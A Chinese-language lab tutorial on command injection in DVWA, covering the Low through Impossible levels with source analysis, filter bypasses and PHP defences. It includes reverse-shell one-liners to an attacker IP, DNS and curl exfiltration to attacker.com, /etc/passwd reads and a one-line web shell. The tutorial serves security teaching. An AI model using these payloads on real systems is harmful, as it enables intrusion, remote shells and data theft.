|
⚠️ 重要声明(安全研究边界) 本文所述所有技术仅限用于授权测试(如 CTF、DVWA 等靶场)及个人学习环境。未经授权对任何系统进行渗透测试是违法行为。请务必遵守《网络安全法》及相关法律法规,坚守职业道德。 |
第一部分:前置准备
1.1 靶场环境搭建
DVWA(Damn Vulnerable Web Application)的命令注入(Command Injection)模块位于 Command Injection 页面,演示了通过用户输入执行系统命令的漏洞。 可使用 Docker 快速部署不同安全级别:
# (可选)不指定安全级别,使用默认配置(通常为 impossible),后续通过Web界面手动切换
docker run –name dvwa -d -p 8080:80 vulnerables/web-dvwa
# 也可以直接启动固定级别的容器(推荐用于对照测试)
docker run –name dvwa-low -d -p 8080:80 vulnerables/web-dvwa
docker run –name dvwa-medium -d -p 8081:80 -e DVWA_SECURITY_LEVEL=medium vulnerables/web-dvwa
docker run –name dvwa-high -d -p 8082:80 -e DVWA_SECURITY_LEVEL=high vulnerables/web-dvwa
docker run –name dvwa-impossible -d -p 8083:80 -e DVWA_SECURITY_LEVEL=impossible vulnerables/web-dvwa
|
补充说明:容器启动后,访问 http://localhost:8080(若启动多个容器,使用对应端口),使用默认账号 admin / password 登录。 点击左侧 DVWA Security,将 Security Level 下拉框改为对应级别(low/medium/high/impossible),再进入 Command Injection 页面测试。 不同级别可启动不同端口容器,也可在同一容器内切换级别反复测试。 |
1.2 必备工具
- 浏览器:Chrome / Firefox(F12 开发者工具查看请求 / 响应)
- 抓包工具:Burp Suite(推荐,用于观察或修改请求参数,尤其是需要原始编码注入时)
- 基础认知:理解 Windows 和 Linux 系统命令的差异
1.3 基础知识储备
- 命令注入原理:应用程序将用户输入拼接到系统命令中,未经过滤或过滤不严,导致攻击者可执行任意系统命令。
- 常见命令分隔符:
| ; 、 && 、 || 、 | 、 & 、 \\n(换行) | 依次执行、逻辑与/或、管道、后台/并发执行、换行 |
| & 、 && 、 | 、 || 、 ;(部分环境) | 类似Linux,; 在CMD中不默认支持;& 表示分隔命令(前命令后台/并发执行) |
- 常用探测命令:ping、ipconfig / ifconfig、whoami、ls / dir、cat / type
- 绕过技巧:黑名单过滤不完整时,利用未过滤的分隔符、编码(URL 编码、换行符)、命令替换、环境变量等。
|
Windows 特别提示:
|
第二部分:Low 级别(无任何过滤)
2.1 核心特点
- 无任何过滤:直接将用户输入的字符串拼接到 ping 命令中
- 可执行任意系统命令(取决于 Web 服务器的操作系统)
2.2 源码分析
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ]; // 直接获取输入,无验证无过滤
// 根据操作系统选择ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target ); // 注意两个空格
} else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "<pre>{$cmd}</pre>";
}
关键缺陷:
- $target 未经过任何验证或过滤,直接拼接进 shell_exec
- 攻击者通过注入命令分隔符,可执行多条系统命令
|
跨平台兼容性提示:生产环境中,若需同时支持 Windows 和 Linux,应避免硬编码 -c 4(Linux)或 -n 4(Windows)。可先检测操作系统,或使用 PHP 内置的 gethostbyaddr() 等函数替代 ping,以消除平台差异和命令注入风险。 |
2.3 攻击原理
在 IP 地址后附加命令分隔符和另一条命令。例如在 Linux 下:
|
Plain Text 127.0.0.1; ls |
实际执行的命令为: ping -c 4 127.0.0.1; ls 分号 ; 使两条命令顺序执行,ls 结果会回显在页面上。
2.4 实操步骤
- Linux 靶机:输入 127.0.0.1; whoami
- Windows 靶机:输入 127.0.0.1 & whoami
4. 提交后,页面将显示 ping 输出 并追加 whoami 命令的执行结果
|
预期结果对比
|
|
验证命令执行的其他方法(适用于所有级别):
|
2.5 典型 Payload
|
目标系统 |
Payload 示例 |
预期效果 |
|
Linux |
127.0.0.1; cat /etc/passwd |
读取 passwd 文件(仅 Linux) |
|
Linux |
127.0.0.1; nc -e /bin/sh 攻击者IP 4444 |
反弹 Shell(需编码,仅 Linux) |
|
Windows |
127.0.0.1 & ipconfig |
显示网络配置(仅 Windows) |
|
通用 |
127.0.0.1 && echo injected |
逻辑与执行(Linux 输出injected无引号;Windows 输出"injected"带引号,不影响执行) |
|
高危 Payload 示例(仅限授权环境) Linux 反弹 Shell:127.0.0.1; bash -i >& /dev/tcp/攻击者IP/4444 0>&1 (需要 URL 编码特殊字符,且目标环境支持 /dev/tcp) |
第三部分:Medium 级别(黑名单过滤部分分隔符)
3.1 核心特点
- 简单黑名单:删除 && 和 ;
- 过滤不完整:其他分隔符如 &、|、||、换行符等均未被过滤
3.2 源码分析
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// 黑名单替换:将所有的 && 和 ; 替换为空字符串
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// 后续执行ping命令(与Low级别相同)
// …
}
过滤逻辑:将 && 和 ; 全部替换为空字符串 缺陷:
- &、|、||、\\n 等分隔符完全未被处理
- 注意:此处不需要递归处理,因为 && 和 ; 被删除后不会产生新的危险字符
3.3 攻击原理
使用未过滤的分隔符代替被删除的符号。例如:
- Linux:127.0.0.1 | whoami(管道符,将 ping 输出作为 whoami 的输入,但 whoami 仍会执行)
- Windows:127.0.0.1 & whoami(& 使两条命令并发执行)
|
关于 || 逻辑或的说明:127.0.0.1 || whoami 表示仅当第一条命令执行失败(返回非 0)时才执行第二条。由于 ping 127.0.0.1 通常会成功,因此 whoami 不会执行。若要测试 || 的效果,可将 IP 改为不存在的地址,例如 10.0.0.1 || whoami。 |
3.4 实操步骤
|
验证提示:可使用 127.0.0.1 & touch /tmp/medium_test(Linux)或 127.0.0.1 & echo medium > C:\\temp\\medium_test.txt(Windows)检查命令是否真正执行。 |
3.5 典型 Payload
| 127.0.0.1 | whoami | 管道符 |
| 127.0.0.1 & whoami | & 分隔 |
| 127.0.0.1 || whoami | 逻辑或(需第一个命令失败才执行,例如 10.0.0.1 || whoami) |
| 127.0.0.1 & dir & echo "done" | 多条命令串联 |
|
|
第四部分:High 级别(较全面的黑名单)
4.1 核心特点
- 更全面的黑名单:删除了 &、;、| (竖线 + 空格)、–、$、(、)、`、|| 等
- 但仍有遗漏:单独的 |(不带空格)和换行符 \\n(%0a)未被过滤
4.2 源码分析
if( isset( $_POST[ 'Submit' ] ) ) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', // 注意:匹配"| "(竖线后跟一个空格)
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// 执行ping…
}
过滤逻辑:替换列表比 Medium 丰富,但存在多处关键遗漏 缺陷:
- 127.0.0.1| whoami → 删除 | → 127.0.0.1whoami(失败)
- 127.0.0.1|whoami → 无匹配 → 命令成功执行
|
说明:如果开发人员误将黑名单写成 '|' => ''(不带空格),则会删除所有竖线,导致 | 无法注入。此处仅删除了带空格的版本,属于开发失误。 |
2. ||(逻辑或)被删除,因此 127.0.0.1||whoami 会变为 127.0.0.1whoami,无法注入
3. 换行符 \\n 未被列入黑名单,可通过 URL 编码 %0a 注入(仅限 Linux)
4. && 的处理:输入 127.0.0.1&&whoami,由于 & 被删除,两个 & 都被删光,命令变成 127.0.0.1whoami → ping 报错(不是命令注入成功)。这展示了黑名单机械替换的局限性。
|
补充:High 级别未使用 escapeshellcmd() 等转义函数,因此换行符注入有效。如果代码中使用了 escapeshellcmd(),换行符可能会被过滤。 |
4.3 攻击原理
攻击者可使用:
- 无空格的竖线:127.0.0.1|whoami
- 换行符:在 Burp 中修改为 127.0.0.1%0awhoami(服务器解码后换行分隔命令,仅 Linux 有效)
|
注意:直接在 DVWA 输入框中输入 127.0.0.1%0awhoami 会被浏览器二次编码为 127.0.0.1%250awhoami,无法注入。必须使用 Burp Suite 或 curl 发送原始 %0a。 扩展知识:若目标应用对 %0a 进行了二次 URL 解码(如某些 WAF 规则),可能需要尝试双编码 %250a,但 DVWA 环境无需考虑。 |
4.4 实操步骤
# 示例:向High级别靶场发送换行符注入(Linux靶机)
curl -X POST -d "ip=127.0.0.1%0awhoami&Submit=Submit" \\
-b "PHPSESSID=你的会话ID" \\
http://localhost:8082/vulnerabilities/exec/
|
如何获取 PHPSESSID:登录 DVWA 后,按 F12 打开开发者工具 → 应用程序(或存储)→ Cookies → 复制 PHPSESSID 的值。 |
|
验证提示:
|
4.5 典型 Payload
- 127.0.0.1|whoami
- 127.0.0.1%0awhoami(URL 编码的换行符,仅 Linux 有效)
- 127.0.0.1%0aid(Linux)
第五部分:Impossible 级别(严格验证 IP 格式 + CSRF Token)
5.1 核心特点
- 严格白名单验证:将 IP 按 . 分割为四部分,每部分必须是数字,且总段数必须为 4
- CSRF Token 防护:防止跨站请求伪造
- 任何非数字非点的输入均被拒绝,彻底杜绝命令注入
5.2 源码分析
if( isset( $_POST[ 'Submit' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
$octet = explode( ".", $target );
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) &&
( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) &&
( sizeof( $octet ) == 4 ) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
} else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "<pre>{$cmd}</pre>";
} else {
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
安全机制:
- 严格校验 IP 地址格式:必须为由三个点分隔的四个数字段
- 任何包含字母、符号(包括命令分隔符、空格、引号等)或多余 / 缺少段落的输入都会触发错误
- CSRF Token 防止攻击者诱导已登录用户提交恶意请求
|
⚠️ 小瑕疵说明:is_numeric() 允许科学记数法(如 1e3),在 PHP 8.0 前也允许十六进制字符串如 0x2a(8.0+ 已禁止)。例如 IP 1.2.3.1e3 会通过验证,但 ping 1.2.3.1e3 会因格式无效而报错,不会导致命令注入。为严谨起见,生产环境应使用 filter_var($ip, FILTER_VALIDATE_IP) 或严格正则(见第七部分防御方案)。 |
5.3 为什么无法攻击?
因为攻击者注入的任何命令分隔符(如 ;、&、|、\\n)或字母(如 whoami)都会导致 is_numeric() 校验失败,程序直接返回错误信息,根本不会进入命令执行流程。
第六部分:Low → Medium → High → Impossible 对比总结
|
表格说明:以下表格中的 | 表示竖线字符 |
|
对比项 |
Low 级别 |
Medium 级别 |
High 级别 |
Impossible 级别
|
||||
|
过滤方式 |
无 |
黑名单删除 &&、; |
黑名单删除 &、;、|、-、$、(、)、`、|| | 严格IP格式验证(数字+点)+ CSRF Token | |
|
||||
|
绕过方式 |
直接使用分隔符 |
用未过滤的 &、|、|| 等` |
用无空格的 | 或换行符 %0a (仅Linux) |
无法绕过 |
||||
|
典型 Payload |
127.0.0.1; whoami |
127.0.0.1 & whoami |
127.0.0.1|whoami 或 127.0.0.1%0awhoami |
无有效 Payload |
||||
|
是否可执行命令 |
✅ 是 |
✅ 是 |
✅ 是(取决于遗漏字符) |
❌ 否 |
||||
演进启示:
- 黑名单过滤难以穷举所有危险字符和编码方式,总有可能遗漏
- 白名单验证(如严格格式检查)是更可靠的防御手段
- 结合 CSRF Token 可防止攻击者利用受害者会话发起请求
第七部分:防御方案与最佳实践
7.1 根本性措施 —— 输入验证(白名单)
对于需要接收 IP 地址的场景,应使用白名单正则或内置函数严格校验:
// 方法1:正则校验IPv4
$pattern = '/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/';
if (!preg_match($pattern, $ip)) { die('Invalid IP'); }
// 方法2:PHP内置函数(推荐)
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
die('Invalid IPv4 address');
}
// 若需要支持IPv6,可改为 FILTER_FLAG_IPV6 或同时检查两种格式
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
die('Invalid IPv6 address');
}
|
说明:filter_var 方式比 is_numeric() 更严谨,可避免科学记数法等非标准 IP 格式通过校验。 |
7.2 避免直接调用系统命令
- 尽量使用编程语言内置功能替代系统命令(例如用 gethostbyaddr() 代替 ping)
- 如果确实需要执行外部命令,使用 参数化 或 转义函数:
// 正确:转义参数
$safe_ip = escapeshellarg($ip);
$cmd = "ping -c 4 " . $safe_ip;
$output = shell_exec($cmd);
|
函数区别与跨平台说明:
|
7.3 最小权限原则
Web 应用运行的用户应具有最小必要权限(例如 www-data 不能执行 nc、bash 等高危程序,也不应拥有写权限到敏感目录)。
7.4 禁用危险函数(纵深防御)
在 php.ini 中配置 disable_functions 可以禁用危险的系统命令执行函数,作为最后一道防线:
|
ini disable_functions = exec, shell_exec, system, passthru, proc_open, popen, curl_exec, curl_multi_exec |
|
说明:禁用 curl_exec 不能阻止命令注入本身,但能增加攻击者外泄数据的难度。攻击者在获得命令执行后,常使用 curl 或 wget 将敏感数据(如 /etc/passwd、数据库配置文件)发送到远程服务器。禁用这些函数可阻止该外带途径。 局限性:攻击者仍可能通过 DNS 查询(nslookup)、ICMP 隧道、自定义二进制程序等方式外传信息,因此需配合网络层监控和主机入侵检测系统(HIDS)。 业务替代:若业务确实需要 PHP 发起 HTTP 请求,可使用 file_get_contents() 配合 allow_url_fopen = On 或采用 Guzzle 等库,并确保请求目标可控。 |
7.5 CSRF 防护
为所有状态改变请求添加 Anti-CSRF Token(参考 DVWA Impossible 级别的 checkToken() 实现)。
第八部分:常见问题排查(FAQ)
Q1:为什么 Medium 级别中 && 被删了,但 & 还在? A:因为黑名单只包含 && 和 ;,并未包含单独的 &,所以 & 仍然可用。
Q2:High 级别中,| (竖线加空格)被删,但 |(无空格)未删,为什么? A:这是开发者写黑名单时的一个疏漏 —— 他可能只想删除管道符后跟空格的情况(例如 | dir),但忽略了直接使用 | 的场景。如果黑名单写成 '|' => '',则会删除所有竖线;实际代码仅删除了带空格的版本。
Q3:如何利用换行符 \\n 绕过? A:在 HTTP 请求中,换行符需要 URL 编码为 %0a,服务器端收到后解码,换行符在 Linux shell 中可以作为命令分隔符。注意Windows CMD 不支持换行符分隔,且必须用 Burp Suite 或 curl 发送原始 %0a,不能直接在浏览器输入框输入。另外,如果目标代码使用了 escapeshellcmd(),换行符可能会被过滤,但 High 级别未使用该函数,因此有效。
Q4:Impossible 级别中,IP 验证能防止所有注入吗? A:是的。因为任何命令注入尝试都会包含字母、符号或多余的点 / 段,导致验证失败,根本不会执行命令。但注意 IP 验证仅针对 IPv4,若应用场景需要 IPv6,则需相应的白名单规则。
Q5:在 High 级别源码中,输入 && 会变成什么? A:因为黑名单中有 &(单独),&& 会被替换掉两个 &,结果为空字符串。不会变成单个 &。实际执行 127.0.0.1whoami,ping 会报错 “unknown host”。
Q6:如何快速切换 DVWA 的安全级别(不依赖 Web 界面)? A:编辑 config/config.inc.php 文件,设置 $_DVWA[ 'default_security_level' ] = 'low'; 即可。对于 Docker 容器,可以进入容器修改或使用环境变量(部分镜像支持)。
Q7:生产环境中如何彻底避免命令注入? A:最佳实践组合:白名单输入验证 + 避免使用系统命令(使用内置 API) + 转义函数(escapeshellarg) + 禁用危险函数(disable_functions) + 最小权限运行 Web 服务。
Q8:如果命令执行结果没有回显,如何探测漏洞? A:无回显的命令注入(又称盲注)可以采用以下技巧:
- 时间延迟:127.0.0.1; sleep 5(Linux)或 127.0.0.1 & ping -n 6 127.0.0.1(Windows)
- DNS 外带:127.0.0.1; nslookup $(whoami).attacker.com(Linux)或 127.0.0.1 & nslookup %USERNAME%.attacker.com(Windows)
|
前提:目标机器需能解析外网域名;若处于内网无 DNS,可改用时间延迟法 |
- HTTP 请求外带:127.0.0.1; curl http://attacker:8080?data=$(whoami)(需出网) 本文示例均为回显型,建议读者进一步学习盲注技术。
第九部分:核心总结与下一步学习路径
核心总结
下一步学习建议
- 绕过技巧深入:
- 编码绕过:URL 编码、双编码、Unicode
- 通配符注入:*、?、[a-z]
- 空格过滤绕过:
- Linux:使用 ${IFS} 或 $IFS(例如 cat${IFS}/etc/passwd)
- Windows:使用 %PROGRAMFILES:~10,1% 获取空格(较复杂),或使用 %20(URL 编码)和制表符 %09
- 命令替换:`id` 或 $(id)
- 命令注入 + 文件上传结合:若目标环境同时存在文件上传漏洞(无验证),可上传一个恶意脚本(如 shell.php),然后通过命令注入调用 php -f uploads/shell.php 间接执行代码
- 写入 Web Shell:如果命令注入成功但回显受限(例如无输出),可尝试写入一个简单的 Web Shell:
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
然后通过浏览器访问 shell.php?cmd=id 获得更方便的执行环境。这是提权前的常见技巧。
- 带外交互(Out-of-Band)示例:
# DNS外带(Linux)
127.0.0.1; nslookup `whoami`.your-dnslog-server.com
可使用 DNSlog.cn 等平台获取临时域名,观察解析记录
- 盲注(无回显)技术:时间延迟、DNS 外带、HTTP 外带
- 提权与反弹 Shell:在授权靶场中练习结合命令注入进行提权或反弹 Shell
- 安全编码:掌握 escapeshellarg() 与 escapeshellcmd() 的正确使用场景及区别
- 其他 Web 漏洞:学习 SQL 注入、XSS、文件包含的防御思路,建立综合安全编码习惯
|
安全警示重申:本文档所有操作仅限于已授权的 DVWA 本地靶场或类似学习环境,严禁用于非法攻击。理解漏洞的目的是为了编写更安全的代码,保护用户数据与系统安全。 |





